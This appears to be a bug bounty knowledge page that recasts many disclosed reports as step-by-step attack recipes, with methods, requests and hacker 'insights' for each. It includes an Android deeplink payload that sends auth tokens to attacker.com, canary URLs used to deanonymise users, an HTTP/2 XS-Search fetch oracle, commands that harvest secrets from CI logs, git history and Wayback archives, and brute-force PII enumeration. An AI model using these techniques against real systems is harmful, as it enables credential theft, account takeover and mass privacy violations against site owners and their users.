Insight — Always probe ASP.NET diagnostic handlers unauthenticated: elmah.axd, trace.axd, glimpse; ELMAH detail pages routinely leak full request headers including auth cookies. Try common mount paths and subpaths (/tmwebapi/elmah.axd).
Real-world example
Unauthenticated Cortex metrics server + Golang pprof debug endpoints exposed
◆ Medium
Specimen #1258871 · shopify · 6300 · 98 votes · resolved
Program shopifySurface web
Root cause
An internal observability/metrics service (Cortex) was exposed to the internet without authentication, revealing server config and a Golang pprof debugger (command-line args, plus profiling endpoints that can DoS the process).
Method
- Fingerprint the host as a metrics/monitoring service (Cortex/Prometheus/Grafana/Thanos).
- Hit unauthenticated endpoints: / , /config , and /debug/pprof/ .
- Read /debug/pprof/cmdline?debug=1 for full command-line args (often secrets/flags); note profiling endpoints can be abused for resource exhaustion.
https://TARGET/config
https://TARGET/debug/pprof/
https://TARGET/debug/pprof/cmdline?debug=1
https://TARGET/debug/pprof/heap
Insight — Exposed infra/observability planes (Cortex, Prometheus, Grafana, Consul) frequently ship with no auth and Go /debug/pprof mounted. Always probe /debug/pprof/* and /config on odd-looking service subdomains; cmdline leaks env/flags, profiling endpoints enable DoS.
Real-world example
Unauthenticated Jira Server REST enumeration (CVE-2020-14179)
◆ Medium
Specimen #2122964 · deptofdefense · none · 97 votes · resolved
Program deptofdefenseSurface webChain unauth Jira endpoints -> usernames/projects -> auth/SS
Root cause
Jira Server exposes several REST endpoints to anonymous users, leaking project categories, resolutions, admin menu structure and usernames, useful for internal recon and further chaining.
Method
- Fingerprint Jira (e.g. /secure/JiraCreditsPage!default.jspa)
- Hit the unauthenticated REST endpoints and read the leaked metadata
- Use disclosed usernames/projects to pivot to auth attacks
GET /rest/menu/latest/admin?maxResults=1000
GET /rest/api/2/projectCategory
GET /rest/api/2/resolution
GET /secure/JiraCreditsPage!default.jspa # version/fingerprint
Insight — Jira/Confluence and similar enterprise apps ship anonymous-readable REST endpoints; enumerate them first for free username/project/config disclosure that seeds later attacks. Confirm the version to map to the right CVE feature flag.
Real-world example
Hardcoded cloud API secret in Android app -> full asset control
◆ Medium
Specimen #351555 · reverb · awarded · 95 votes · resolved
Program reverbSurface mobile-androidChain APK decompile -> hardcoded API secret -> full CloudinaTag cloud-aws
Root cause
The Android app embedded a full Cloudinary credential (cloudinary://apikey:apisecret@cloud) instead of the cloud name only, so anyone decompiling the APK gains read/write/delete over all stored media plus usage stats.
Method
- Decompile the APK (jadx/apktool) and grep source for provider URIs/secrets
- Extract the cloudinary://key:secret@cloud string
- Use the credential against the provider API to list, replace, delete assets and read usage
// com/reverb/app/CloudinaryFacade.java
private static final String CONFIG = "cloudinary://434762629765715:<API_SECRET>@reverb";
# recon endpoint proving access:
GET https://api.cloudinary.com/v1_1/reverb/usage
Insight — Always decompile mobile apps and grep for third-party credentials: cloudinary://, AWS AKIA*, google_api_key, firebase, Mapbox sk. SDK docs usually say to ship only the public cloud name/key; devs paste the full secret. The secret is a full account takeover of that service.
Real-world example
Similarity/duplicate-detection bot as a redaction-recovery oracle
◆ Medium
Specimen #247628 · security · USD 1500 · 93 votes · resolved
Program securitySurface web
Root cause
An automated duplicate-detection bot compared new submissions against the ORIGINAL (pre-redaction) text of reports and returned a similarity percentage; that percentage is a side-channel that lets an attacker brute-force redacted content character-by-character by watching the score rise toward 100%.
Method
- Target a public report with short redacted content
- Submit a crafted report mimicking it, guessing the redacted value
- Read the bot's similarity percentage as feedback (higher = closer)
- Iterate guesses, converging to 100% to recover the redacted text
# example progression against redacted 'password is 123456789'
'... 123456xxx' -> bot: 78% match
'... 123456781' -> bot: 88% match
'... 123456789' -> bot: 100% match (recovered)
Insight — Any feature that returns a similarity/confidence/match score computed over hidden data is an oracle - treat percentages, response timing, and diff counts as brute-force feedback channels. Redaction is not protection if a downstream system still compares against the original text.
Real-world example
WordPress REST user enumeration via /wp-json/wp/v2/users
◆ Medium
Specimen #738615 · yoti · awarded · 93 votes · resolved
Program yotiSurface webChain shodan org -> WP host -> /wp-json/wp/v2/users -> ad
Root cause
A WordPress site (found via Shodan org search) exposed the default REST users endpoint, listing admin usernames/slugs that feed brute-force and phishing.
Method
- Find the target's WP hosts (Shodan org:target, or fingerprint /wp-json)
- Request /wp-json to confirm REST is on
- Request /wp-json/wp/v2/users to enumerate accounts incl admins
- Also try ?rest_route=/wp/v2/users and /?author=1 redirects as fallbacks
# find hosts
Shodan: org:"target.com"
# enumerate users
GET http://TARGET/wp-json
GET http://TARGET/wp-json/wp/v2/users
Insight — On any WordPress asset, the REST users endpoint is the fastest username source; combine Shodan org queries to find unlisted WP hosts (IPs / marketing sites) that aren't in the obvious scope.
Real-world example
Collaborative feature leaks members' private profile fields
◆ Medium
Specimen #3279508 · wakatime · none · 93 votes · resolved
Program wakatimeSurface web
Root cause
Joining a private leaderboard exposed each member's private email to the creator and other members because the leaderboard member response was not filtered against the user's per-field privacy setting.
Method
- Create a private leaderboard / group / shared workspace
- Invite target users (by username/profile link)
- After they join, inspect the leaderboard UI and its JSON member response
- Observe private email present despite the user's email-private setting
# inspect the members API response after victims join
GET /api/.../leaderboards/<id>/members # look for email/phone fields not honoring privacy flags
Insight — Any feature that aggregates multiple users (leaderboards, teams, shared boards, org member lists) is a prime spot for privacy-setting bypass - the serializer often returns the full user object instead of the public-safe projection. Always diff the API response against what the profile privacy toggle promises.
Real-world example
Secret hunting in public GitHub code and commit history
◆ Medium
Specimen #612231 · x · awarded · 92 votes · resolved
Program xSurface webChain github OSINT -> leaked token/DB creds -> auth to interTag supply-chain
Root cause
Developers committed live tokens/credentials (GitHub API tokens, Firebase deploy tokens, DB creds, service passwords) into public repos and, crucially, into commit history where they persist after being deleted from current files.
Method
- Search GitHub for the target org / product names, internal domains, and asset URLs
- Grep code AND commit history for token/key/password patterns (secrets removed from HEAD survive in history)
- Validate scope of any found token before reporting; note associated internal IPs/DB endpoints
# GitHub code search dorks
"mopub" FIREBASE_TOKEN
org:TARGET "api.github.com/repos" token
# recover secrets from history even if deleted from HEAD:
git clone REPO && git log -p | grep -Ei 'token|api_key|password|jdbc:'
# tools: trufflehog, gitleaks, github-dorks
Insight — Treat commit history as first-class attack surface: a deleted secret is still exploitable. Pivot from org/product/domain keywords, then trufflehog/gitleaks the full history. Leaked configs often chain DB creds + internal IPs for deeper access.
Real-world example
Sensitive verification token returned in API response body
◆ Medium
Specimen #2387297 · mozilla · awarded · 92 votes · resolved
Program mozillaSurface apiChain add email -> token in response -> verify arbitrary ema
Root cause
The add-email flow returned the email verification_token in the server's HTTP response, so an attacker who never controls the target inbox can read the token and hit the verify endpoint, verifying an arbitrary email.
Method
- Start the add/verify-email flow with a victim email
- Intercept the server response (enable response interception) and search for verification_token
- Call the verify endpoint with that token to complete verification without inbox access
# token leaks in the send-verification response, then:
GET /api/v1/user/verify-email?token=<verification_token_from_response>
Insight — Any flow gated by an emailed secret (verify, reset, magic-link, invite) - grep the API responses for that secret. Tokens leaked in the response body defeat the entire out-of-band check; always intercept responses, not just requests.
Real-world example
Subpath directory listing exposes WEB-INF/.class -> source code
◆ Medium
Specimen #301812 · snapchat · USD 1000 · 91 votes · resolved
Program snapchatSurface webChain 403 root -> WEB-INF listing -> .class download -> d
Root cause
An access-control check applied only to the app root (403 on /) but not to subpaths, so /WEB-INF/ and /META-INF/ allowed directory listing and download of compiled .class/.jar files that decompile back to source.
Method
- Enumerate subdomains (here a rendering service)
- Root returns 403 - do NOT stop; brute force known sensitive subpaths
- Request /WEB-INF/ and /META-INF/ for directory listing
- Download .class/.jar files and decompile (procyon/jd-gui) to recover source
GET https://TARGET/ -> 403
GET https://TARGET/WEB-INF/ -> directory listing
GET https://TARGET/META-INF/ -> directory listing
# then: procyon-decompiler App.class
Insight — A 403 on root is not a dead end - authz frequently isn't enforced on subpaths. Always fuzz Java/servlet sensitive paths (/WEB-INF/, /META-INF/, /WEB-INF/web.xml, /WEB-INF/classes/) which yield config secrets and decompilable source.
Real-world example
Attacker-controlled media URL in a message triggers victim-side fetch leaking IP/device
◆ Medium
Specimen #1801427 · linkedin · awarded · 84 votes · resolved
Program linkedinSurface apiTag webhook
Root cause
The messaging API accepts an attacker-supplied external media URL that is fetched by the recipient's client on message render, causing an outbound request from the victim that leaks IP, OS/browser, device ID, phone model and time zone to the attacker's server.
Method
- Send a GIF/media message and intercept the createMessage request
- Replace message.renderContentUnions.externalMedia.media.url with a Burp Collaborator/attacker URL
- When the victim opens the conversation, their client fetches it -> attacker logs headers and IP
POST /voyager/api/voyagerMessagingDashMessengerMessages?action=createMessage
{ ... "renderContentUnions":{"externalMedia":{"media":{"url":"https://COLLAB.oastify.com/x.gif"}}} ... }
Insight — Any field that becomes a client-side fetched resource (avatar_url, media.url, link preview, remote image) is both an SSRF sink server-side and a deanonymization/IP-leak primitive client-side. Point it at a canary and watch who calls back.
Real-world example
Secrets leaked in public CI/CD logs and build artifacts
◆ Medium
Specimen #3243860 · mozilla · USD 200 · 84 votes · resolved
Program mozillaSurface webChain public CI job -> mitmproxy.log artifact -> outbound reTag supply-chain
Root cause
Automated test infrastructure captured live traffic (mitmproxy.log) and published it as a public CI artifact, exposing a third-party API key (Microsoft x-apikey) sent in outbound HTTP POSTs during Firefox testing.
Method
- Enumerate the target's public CI (Taskcluster/Treeherder/GitHub Actions/Jenkins) job logs and artifacts
- Download build/test artifacts, especially traffic captures (.log, .har, mitmproxy.log) and env dumps
- Grep for authorization headers / api keys / tokens sent to internal or third-party endpoints
# harvest secrets from public CI artifacts
curl -s <CI_ARTIFACT_URL>/mitmproxy.log | grep -Ei 'x-apikey|authorization|api[_-]?key|token'
Insight — Public CI is a first-class secret source: build logs, HAR/mitmproxy captures, and env dumps routinely contain live keys. Enumerate job artifacts, not just the repo. Traffic-capture artifacts are especially rich because they log real request headers.
Real-world example
Unauthenticated org-scoped CSV export endpoints
◆ Medium
Specimen #2421796 · security · 2500 · 81 votes · resolved
Program securitySurface web
Root cause
Data-export endpoints scoped to an org/program (terms_acceptance_data.csv) enforce no per-program access control, so any logged-in user can download PII exports for programs they are not a member of.
Method
- Log in as any HackerOne user
- Request the org/program-scoped export URL for a program you do NOT belong to
- Receive a CSV of Name/Username/Address/Country/Date-signed for all users who accepted the terms
GET /<program>/terms_acceptance_data.csv HTTP/2
Host: hackerone.com
Cookie: <session>
Insight — Hunt for machine-readable export routes (.csv/.json/.pdf/download_*) that are keyed only by a handle/id in the path. UI hides them but they frequently skip the authz check the HTML view enforces. Swap in another org's handle.
Real-world example
Invitation flows leak invitee account/PII by identifier
◆ Medium
Specimen #2045722 · security · awarded · 80 votes · resolved
Program securitySurface webTag account-takeover
Root cause
Collaborator/member invitation features resolve an identifier (email or user id) to the private account and echo it back before the invitee accepts, leaking existence and identity/PII (email<->account, id->email).
Method
- Open a resource that allows inviting collaborators/members
- Invite by email address (or by user id) and save
- Check the participants/people list: the pending invite has already resolved to the real account/username, or the private email is displayed
POST /api/v1/users/current/orgs/<org-id>/people.bulk HTTP/2
Host: <target>
Content-Type: application/json
{"people":[{"id":"<victim_id>"}]}
Insight — Invite/add-member endpoints are a reliable enumeration oracle: email->registered account, id->email, and account->PII, all before any acceptance/interaction. Test both directions and check the response and the subsequent members list.
Real-world example
'Track my position' endpoint returns full PII record
◆ Medium
Specimen #902733 · curve · awarded · 79 votes · resolved
Program curveSurface api
Root cause
A waitlist status endpoint that the UI uses only to show a position number returns the entire user record (name, phone, zip, id) keyed solely by an email supplied in the request body, with no auth.
Method
- Find the status/lookup feature (e.g. 'Track my position') and intercept its request
- Note it POSTs {email} and returns a full JSON record while the UI shows only one field
- Brute-force the email parameter to harvest all users' PII
POST /api/waitlist/us HTTP/1.1
Host: website-api.production.curve.app
Content-Type: application/json
{"email":"victim@gmail.com"}
Insight — When a UI shows one derived value (position, status, boolean), always inspect the raw API response: backends routinely return the full object. Any lookup keyed by an enumerable identifier (email/phone/id) with no auth is a bulk-PII harvester.
Real-world example
PII embedded in signed token, exposed via Wayback
◆ Medium
Specimen #3210022 · omise · none · 78 votes · resolved
Program omiseSurface web
Root cause
An email-confirmation link embeds the user's email inside a Rails base64/Marshal signed token placed in the URL path; the token is decodable to plaintext PII and the URL was archived publicly by the Wayback Machine.
Method
- Find archived confirmation/verification URLs on web.archive.org for the target (e.g. /users/confirm_email/<token>)
- URL-decode and base64-decode the token
- Regex the decoded blob for embedded email/PII
import base64, re
from urllib.parse import unquote
token = "<base64_part_before_the_--signature>"
d = base64.b64decode(unquote(token))
print(re.findall(rb"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}", d))
Insight — Signed != encrypted. Rails 'BAh...' style tokens are Marshal payloads that base64-decode straight to their contents. Two lessons: never put PII in verification tokens, and mine Wayback/CommonCrawl for sensitive one-time URLs that got archived.
Real-world example
Marketplace API leaks counterparty PII pre-acceptance
◆ Medium
Specimen #1785079 · indrive · awarded · 77 votes · resolved
Program indriveSurface api
Root cause
When a driver submits a bid ('tender'), the API responses (/api/driverrequest, /api/getTenderStatus) already include the customer's phone number and location before the customer accepts the offer.
Method
- As a driver, submit an offer/bid on any ride
- Capture the /api/driverrequest response (returns tender id/order id)
- Inspect the response / call getTenderStatus and read customer phone + location though the offer was never accepted
POST /api/driverrequest?cid=<cid>&job_id=<job> HTTP/1.1
Host: terra-6.indriverapp.com
order_id=<id>&client_id=<id>&price=33&...
Insight — In two-sided marketplaces, check what the API returns at the earliest interaction step (bid/request), not just after a match. Sensitive counterparty fields are frequently sent early and gated only in the UI.
Real-world example
Leaked TOTP seed enables step-up/2FA bypass
◆ Medium
Specimen #1276373 · algolia · awarded · 76 votes · resolved
Program algoliaSurface webChain session foothold -> leaked gauth_secret -> generate TOTag account-takeover
Root cause
The account's TOTP secret (gauth_secret) is returned in an API response; an attacker with only a live session (no password) can seed an authenticator app and satisfy 2FA/step-up checks that gate sensitive actions.
Method
- With access to an authenticated session, trigger the request that returns gauth_secret (e.g. the 2FA renew/support flow)
- Copy the gauth_secret value into any TOTP app to generate valid codes
- Use the codes to pass step-up prompts (change email, delete account, download recovery codes)
# response leaks: "gauth_secret":"<BASE32_TOTP_SEED>"
# import into an authenticator -> generates valid 6-digit codes on demand
Insight — Grep every response for secret material that should be write-only: TOTP seeds, recovery codes, password hashes, API keys. A leaked TOTP seed converts a session-only foothold into full step-up bypass and account takeover.
Real-world example
Field marked private in the UI is exposed via CSV/export
◆ Medium
Specimen #2011431 · security · awarded · 75 votes · resolved
Program securitySurface web
Root cause
An 'internal only' field is hidden on the web page but the export/report generator serializes the full record, leaking data the product promised to keep private.
Method
- Set an Internal Description on an asset (documented as not shown on the public scope page)
- Use the Export to CSV button on the same resource
- The exported CSV contains the internal description column
GET .../export.csv -> row includes 'Internal Description' hidden from the HTML view
Insight — Access control enforced at the view layer rarely covers every serializer: re-request the same object through export (CSV/PDF), API, GraphQL, and print views - private fields often leak through the alternate representation.
Real-world example
Secret token leaked in public CI build logs
◆ Medium
Specimen #215625 · security · 2000 · 75 votes · resolved
Program securitySurface webTag supply-chain
Root cause
A GitHub personal access token embedded in a git remote URL was printed into public Travis CI build logs because 'git push -q' still emits output (including the URL) on error, and no --force meant the push failed and logged.
Method
- Enumerate the target org's public repos and their CI (Travis/CircleCI/GH Actions) logs
- Grep logs for token patterns and authenticated remote URLs (https://<token>@github.com/...)
- Validate scope of the found token via the provider API
# search public CI logs for tokens embedded in push URLs
# e.g. https://<40-hex-or-ghp_*>@github.com/org/repo.git
curl -s https://api.github.com/user -H 'Authorization: token <found_token>'
Insight — CI logs are a top secrets source: -q/--quiet does not suppress error output, and tokens hide in remote URLs, env dumps, and stack traces. Scan public build logs across every repo an org contributes to, not just its own.
Real-world example
Excessive data exposure of hidden read-status field
◆ Medium
Specimen #1080437 · bumble · 600 · 74 votes · resolved
Program bumbleSurface api
Root cause
The chat API response includes a boolean 'read' field per message that the clients deliberately never display, leaking message read receipts (a privacy signal) the product does not offer.
Method
- Intercept the chat-load request (SERVER_OPEN_CHAT)
- Inspect the chat_messages array in the response
- Read the per-message 'read' boolean the UI hides
POST /mwebapi.phtml?SERVER_OPEN_CHAT HTTP/1.1
Host: am1.bumble.com
# response: chat_messages[].read = true/false
Insight — Compare API response fields against what the UI renders. Backends over-return: hidden booleans/flags (read receipts, online status, internal states) are privacy leaks even when they are not classic PII.
Real-world example
Validation-message oracle reveals hidden state
◆ Medium
Specimen #293299 · security · awarded · 73 votes · resolved
Program securitySurface web
Root cause
The bounty-award endpoint returns distinct validation messages ('insufficient funds to award' vs 'successfully awarded') that act as a boolean oracle for whether a target program currently has funds, using another program's public report id as the target.
Method
- Start your own program and open the award-bounty request
- Swap report_ids to a public report belonging to another program and set an amount
- Read the differential response: 'insufficient funds' vs success reveals that program's balance state
# award request with report_ids=<other-program-public-report-id>, amount=100
# response: 'insufficient funds to award this bounty' (no funds)
# 'successfully awarded a bounty' (has funds)
Insight — Error/validation messages are oracles: any endpoint whose success depends on hidden server state (balance, quota, permission) leaks that state via differential responses. Probe with a benign value and diff the messages.
Real-world example
Attacker-controlled content URL deanonymizes viewers
◆ Medium
Specimen #1782467 · indrive · awarded · 72 votes · resolved
Program indriveSurface apiTag webhook
Root cause
A user-supplied image/content URL attached to a post is fetched by the server or rendered client-side when other users view the post, so pointing it at an attacker-controlled endpoint (Collaborator/webhook.site) leaks each viewer's IP and User-Agent with no interaction.
Method
- Create a post and intercept the create request to find the image/content URL fields
- Replace the uploaded image URL with an attacker-controlled URL (Burp Collaborator / webhook.site)
- Submit; when other users view the post, their client/server hits your URL, logging IP + User-Agent
# in /api/order/create, replace the uploaded image URL with:
https://<your-id>.oastify.com/leak.png (or https://webhook.site/<id>)
Insight — Any field that later renders/fetches a URL in another user's context is a deanonymization primitive: swap it for a canary and collect IP/UA on view. Test post images, avatars, link previews, notification content.
Real-world example
Count a user's private-program invitations via GraphQL total_count
◆ Medium
Specimen #310946 · security · 2000 · 71 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
A GraphQL field exposing a per-user collection (soft_launch_invitations) returns total_count without authorization scoping, letting anyone count another user's private-program invitations.
Method
- POST to /graphql the Directory_invitations_page query with user(username:"target")
- Read soft_launch_invitations.total_count for the states pending_terms/open/accepted
- The count = number of private programs that user was invited into via /invite/token
POST https://hackerone.com/graphql
{"query":"query Directory_invitations_page($state_0:[InvitationStateEnum]!,$first_1:Int!){user(username:\"jobert\"){id,_soft_launch_invitations259p9N:soft_launch_invitations(state:$state_0,first:$first_1){total_count}}}","variables":{"state_0":["pending_terms","open","accepted"],"first_1":100}}
Insight — Aggregate/count fields (total_count, counts, breakdowns) on another user's nested GraphQL collections often leak even when the underlying records are protected. Always request count fields on victim-scoped objects.
Real-world example
Exported Android deeplink -> WebView loads attacker URL with auth headers (token theft)
◆ Medium
Specimen #328486 · eternal · awarded · 68 votes · resolved
Program eternalSurface mobile-androidChain exported component -> open redirect in WebView -> authTag account-takeover
Root cause
An exported browsable deeplink activity (zomato://treatswebview?url=) passes the attacker-controlled url param straight into WebView.loadUrl(url, httpHeaders), where httpHeaders carry the user's auth tokens -> tokens sent to attacker origin.
Method
- Inspect AndroidManifest for exported activities with a custom scheme (browsable intent-filter)
- Trace the url query param into WebView.loadUrl(url, headers)
- Host a page linking zomato://treatswebview?url=http://attacker/ and open it in the victim's browser (or via adb am start)
- Attacker origin receives the auth headers/tokens
<a href="zomato://treatswebview/?url=http://attacker.com&navigation_bar_title=x">go</a>
adb shell am start -n com.application.zomato/.activities.DeepLinkRouter -a android.intent.action.VIEW -d "zomato://treatswebview/?url=http://attacker.com"
Insight — Map exported deeplink activities and follow the url param into WebView.loadUrl; if auth headers/cookies are attached, an attacker-controlled URL exfiltrates the session (also yields XSS in the internal WebView).
Real-world example
GraphQL Attachment object still serves file after UI removes it
◆ Medium
Specimen #1132606 · security · none · 66 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
Removing a file's reference from a rendered page only deletes the inline link; the underlying Attachment object (with expiring_url/long_lasting_url) is still queryable via GraphQL, so 'deleted' sensitive files stay downloadable once the program goes public.
Method
- As a program, attach a sensitive file while private, then 'delete' it from the policy page and go public
- As any unauthenticated user, query team(handle) attachments via GraphQL
- Read expiring_url / long_lasting_url and download the supposedly-removed file
POST https://hackerone.com/graphql
{"query":"query {team(handle:\"security\"){attachments{_id,content_type,file_name,file_size,expiring_url,long_lasting_url}}}"}
Insight — UI 'delete' often just unlinks; the object and its direct URL persist. For any file/attachment feature, enumerate the object directly via GraphQL/API after deletion and check for expiring_url/long_lasting_url style direct links.
Real-world example
Unauth WordPress plugin AJAX with predictable md5(site_url+salt) endpoints (CVE-2021-38314)
◆ Medium
Specimen #1452774 · mars · none · 66 votes · resolved
Program marsSurface web
Root cause
Gutenberg Template Library & Redux Framework (<=4.2.11) registers nopriv AJAX actions whose 'secret' action names are md5 of the site URL concatenated with known salts ('-redux','-support'), so an unauthenticated attacker can recompute them and pull system info.
Method
- Confirm the vulnerable plugin/version on a WordPress target
- Compute action = md5(site_url + '-redux') and md5(site_url + '-support')
- Call admin-ajax.php with the derived action(s) to retrieve sensitive system/config info
ACTION=$(printf '%s' "https://TARGET-redux" | md5sum | awk '{print $1}')
curl "https://TARGET/wp-admin/admin-ajax.php?action=$ACTION"
Insight — 'Secret' endpoints derived from known values (site URL, email, timestamp) hashed with a public salt are not secret. Whenever an app gates access behind a hash of guessable inputs, reconstruct the hash offline.
Real-world example
API/GraphQL serves metrics that are hidden in the UI
◆ Medium
Specimen #347693 · security · 2500 · 64 votes · resolved
Program securitySurface apiTag graphql
Root cause
A value a program chose to hide on its public profile (response_efficiency_percentage) is still returned by the backing JSON/GraphQL, because visibility is enforced only at the render layer, not the data layer.
Method
- Note a metric/field hidden in the profile UI
- Request the underlying data endpoint (e.g. /<program>/profile_metrics.json) or add the field to a GraphQL query
- Read the hidden value from the raw response
GET https://hackerone.com/<program>/profile_metrics.json
# -> {"response_efficiency_percentage":66,...}
# GraphQL variant (389600): add team_profile{disclosed_reports_in_last_year_count,latest_serious_report_created_at,reports_received_in_three_months_count} to a team() query
Insight — 'Hidden in UI' rarely means 'not served'. For every field a target suppresses visually, hit the JSON/GraphQL/mobile API directly and request that field explicitly - it is frequently still returned.
Real-world example
Timeless timing attack: HTTP/2 concurrent-stream response-ordering oracle (XS-Search)
◆ Medium
Specimen #493176 · security · 2500 · 64 votes · resolved
Program securitySurface webChain HTTP/2 ordering oracle -> cross-site search of victim's p
Root cause
Two HTTP/2 requests on one connection are processed in parallel and arrive with negligible relative jitter; comparing which response returns first reveals tiny server-side processing differences (query-has-results vs not), yielding a jitter-resilient cross-site search oracle.
Method
- From the attacker page, fire two simultaneous fetch()es on the victim's origin: a baseline query with no results and the target query
- Record which response's headers resolve first
- Repeat ~20 pairs; if the target consistently comes last it took longer -> the query had results
- Binary-search text queries against a search/count endpoint (e.g. /bugs.json?text_query=) to extract private data / redacted secrets
// concurrent pair over HTTP/2, same origin
Promise.all([
fetch('https://target/bugs.json?text_query=NO_RESULT_XYZ',{credentials:'include'}),
fetch('https://target/bugs.json?text_query=SECRET_GUESS',{credentials:'include'})
]);
// compare header-resolution ordering across ~20 iterations
Insight — HTTP/2 (and HTTP/3) let you replace absolute timing with relative response ORDERING, defeating network jitter. Any authenticated endpoint whose processing time depends on the query is an XS-Search oracle unless it has CSRF tokens or SameSite cookies. Substring search also enables brute-forcing redacted secrets.
Real-world example
Password-manager UI injected into untrusted pages leaks stored data
◆ Medium
Specimen #430854 · kaspersky · awarded · 64 votes · resolved
Program kasperskySurface web
Root cause
The password manager injects its autofill UI directly into arbitrary web pages with no isolation, so a malicious page can script that UI to trigger autofill and then read the filled values (e.g. saved address), exfiltrating stored data without user consent.
Method
- Host a page that programmatically interacts with the injected extension UI
- Drive it to autofill address/identity fields into hidden inputs
- Read the values from the DOM and exfiltrate them
<!-- extract_address.html: instrument injected PM UI to autofill, then read DOM -->
<form><input name=addr></form>
<script>/* trigger autofill on the injected control, then read document.forms[0].addr.value */</script>
Insight — Any browser extension/desktop agent that injects UI or autofills into untrusted origins is attackable: a page can synthesize events to force autofill and scrape the result. Test password managers/wallets/agents by scripting their injected controls from a hostile page.
Real-world example
API over-exposes password hashes with sequential-ID enumeration
◆ Medium
Specimen #2788557 · mars · none · 61 votes · resolved
Program marsSurface apiChain hash disclosure -> offline cracking -> account takeove
Root cause
A user API endpoint serializes the full user record including the hashed password, and users are addressed by sequential numeric IDs, so an attacker can enumerate accounts and harvest password hashes for offline cracking.
Method
- Call the user endpoint for an id and inspect the returned object
- Note it includes a hashed password field
- Iterate sequential numeric IDs to dump hashes across accounts
GET /api/.../users/{id}
# response includes password hash field + PII
Insight — Check API user/profile objects for over-serialized fields (password hash, tokens, internal flags) - ORMs often return the whole row. Combine with sequential IDs for mass exposure. (From program summary; body limited-disclosure.)
Real-world example
Private report PoC links leak to Google Analytics via query string
◆ Medium
Specimen #269479 · security · none · 59 votes · resolved
Program securitySurface web
Root cause
Clicking a link inside a private report sends the full destination URL (including the signed redirect and the private PoC URL) to a third-party analytics endpoint (Google Analytics /r/collect) in the dl/url parameters.
Method
- Include a private/secret URL (e.g. an unlisted video link) in a report
- When a team member clicks it, capture outbound traffic
- Observe POST to www.google-analytics.com/r/collect with dl= containing the signed redirect + private URL
POST /r/collect HTTP/1.1
Host: www.google-analytics.com
...
dl=https%3A%2F%2Ftarget%2Fredirect%3Fsignature%3D...%26url%3Dhttps%253A%252F%252Fvimeo.com%252F<private>
Insight — Third-party analytics/telemetry receive the current URL and can leak secrets embedded in paths/params. Watch for outbound requests to analytics (GA, Segment, Sentry, FullStory) carrying tokens, signed redirects, or private links; sensitive pages should suppress analytics or strip URLs.
Real-world example
GraphQL field over-exposure leaks private-program participants
◆ Medium
Specimen #380317 · security · awarded · 58 votes · resolved
Program securitySurface graphqlTag graphql
Root cause
A schema change added selectors to the team object without re-checking authorization, so participants{total_count} (and member details) on a private program became queryable by non-invited users.
Method
- Pull the current GraphQL schema (public schema mirrors exist) and diff for newly added fields/selectors.
- Query the object for a known private entity, requesting the newly exposed nested fields.
- Read leaked counts/details that the UI never shows.
query { team(handle: "PRIVATE_HANDLE") { participants { total_count } about } }
Insight — After any GraphQL schema update, re-test previously-authorized objects for newly added nested fields; authorization is often enforced per top-level resolver but forgotten on freshly added sub-selectors. Watch public schema diffs (e.g. bounty-targets-data) to spot new fields.
Real-world example
Harvest live API keys from Wayback Machine snapshots
◆ Medium
Specimen #1639011 · planet-labs · none · 58 votes · resolved
Program planet-labsSurface api
Root cause
API endpoints that take the credential as a URL query parameter (api_key=...) get archived verbatim by web.archive.org; some archived keys are still valid, so the archive becomes a passive credential store.
Method
- List all archived URLs for the target API: https://web.archive.org/web/*/https://api.TARGET.com/*
- Extract URLs containing api_key= / token= / key= query parameters.
- Replay each against the live API and check which archived keys still authenticate.
https://web.archive.org/web/*/https://api.TARGET.com/*
# then test extracted keys, e.g.
https://api.TARGET.com/v1/resource?api_key=<ARCHIVED_KEY>
Insight — Any API that puts secrets in the query string leaks them into caches, proxy logs, referrers and the Internet Archive. Always mine web.archive.org (and gau/waybackurls) for *_key/token/secret query params and replay them live.
Real-world example
Differential-error oracle to enumerate private program names
◆ Medium
Specimen #2053051 · security · awarded · 56 votes · resolved
Program securitySurface web
Root cause
The add-collaborator flow returns distinct error strings depending on whether the referenced report belongs to a private vs public program, and private-program errors echo the program handle, allowing brute-force enumeration of private program names.
Method
- Create a report where collaboration is allowed, add a collaborator, and capture the request containing report_id.
- Iterate report_id across ranges (Burp Intruder).
- Private -> error 'X is not yet invited to <HANDLE>, which is a private program' (leaks the handle); Public -> 'You do not have the appropriate access'.
# vary report_id in the add-collaborator request
private -> "... not yet invited to <HANDLE>, which is a private program"
public -> "You do not have the appropriate access"
Insight — Diff error messages/status across an ID space: any endpoint that returns a different response (and especially one that echoes a name/handle) for private vs public/nonexistent objects is an enumeration oracle. Automate over the ID range to dump the confidential set.
Real-world example
Email remote-image blocker bypass via srcset attribute
◆ Medium
Specimen #1021885 · basecamp · 1000 · 55 votes · resolved
Program basecampSurface web
Root cause
The webmail privacy filter rewrites src on img/similar tags to a proxy but does not rewrite the srcset attribute, so the browser fetches the attacker URL directly, defeating tracking-pixel blocking and leaking the reader's IP.
Method
- Craft an HTML email whose image is delivered via srcset (and picture/img srcset variants) pointing at an attacker server.
- Send it and open it in the target webmail with image blocking on.
- Observe the direct request to the tracking server from the victim's browser.
<picture><img srcset="https://COLLAB/log?picture-img-srcset"></picture>
<img srcset=",,,,,https://COLLAB/log?img-srcset">
Insight — Content sanitizers/rewriters almost always miss alternative resource-loading vectors. When a filter proxies src, test srcset, <picture><source srcset>, CSS url(), SVG hrefs, <object>, manifest, and DOCTYPE SYSTEM. Same class as the SVG feImage bypass (#3486747).
Real-world example
Internal API token embedded in publicly-served JS bundles
◆ Medium
Specimen #1218754 · semrush · awarded · 55 votes · resolved
Program semrushSurface webChain JS asset enumeration -> leaked internal token -> inter
Root cause
Build-time environment variables / internal tokens get baked into JS assets shipped to the browser; the source of a 404/error page lists many JS files, some belonging to internal interfaces, which contain live API tokens.
Method
- Trigger a not-found/error page and read the HTML source for the full list of referenced JS bundles.
- Fetch each JS file and grep for tokens/keys (api_key, token, secret, Bearer, internal endpoints).
- Replay any recovered internal API token to access internal statistics/endpoints (also seen: env vars leaked into the webpack bundle, #1717210).
# enumerate + scan all bundles referenced on any page (incl. 404):
curl -s https://TARGET/nonexistent | grep -oE 'src="[^"]+\.js"'
# then: grep -RniE 'api[_-]?key|token|secret|bearer' on downloaded bundles
Insight — Always scrape ALL JS (including from error pages) and diff for internal/admin bundles; webpack DefinePlugin and stray process.env references leak service tokens into client code. Confirm liveness with the matching API (keyhacks-style).
Real-world example
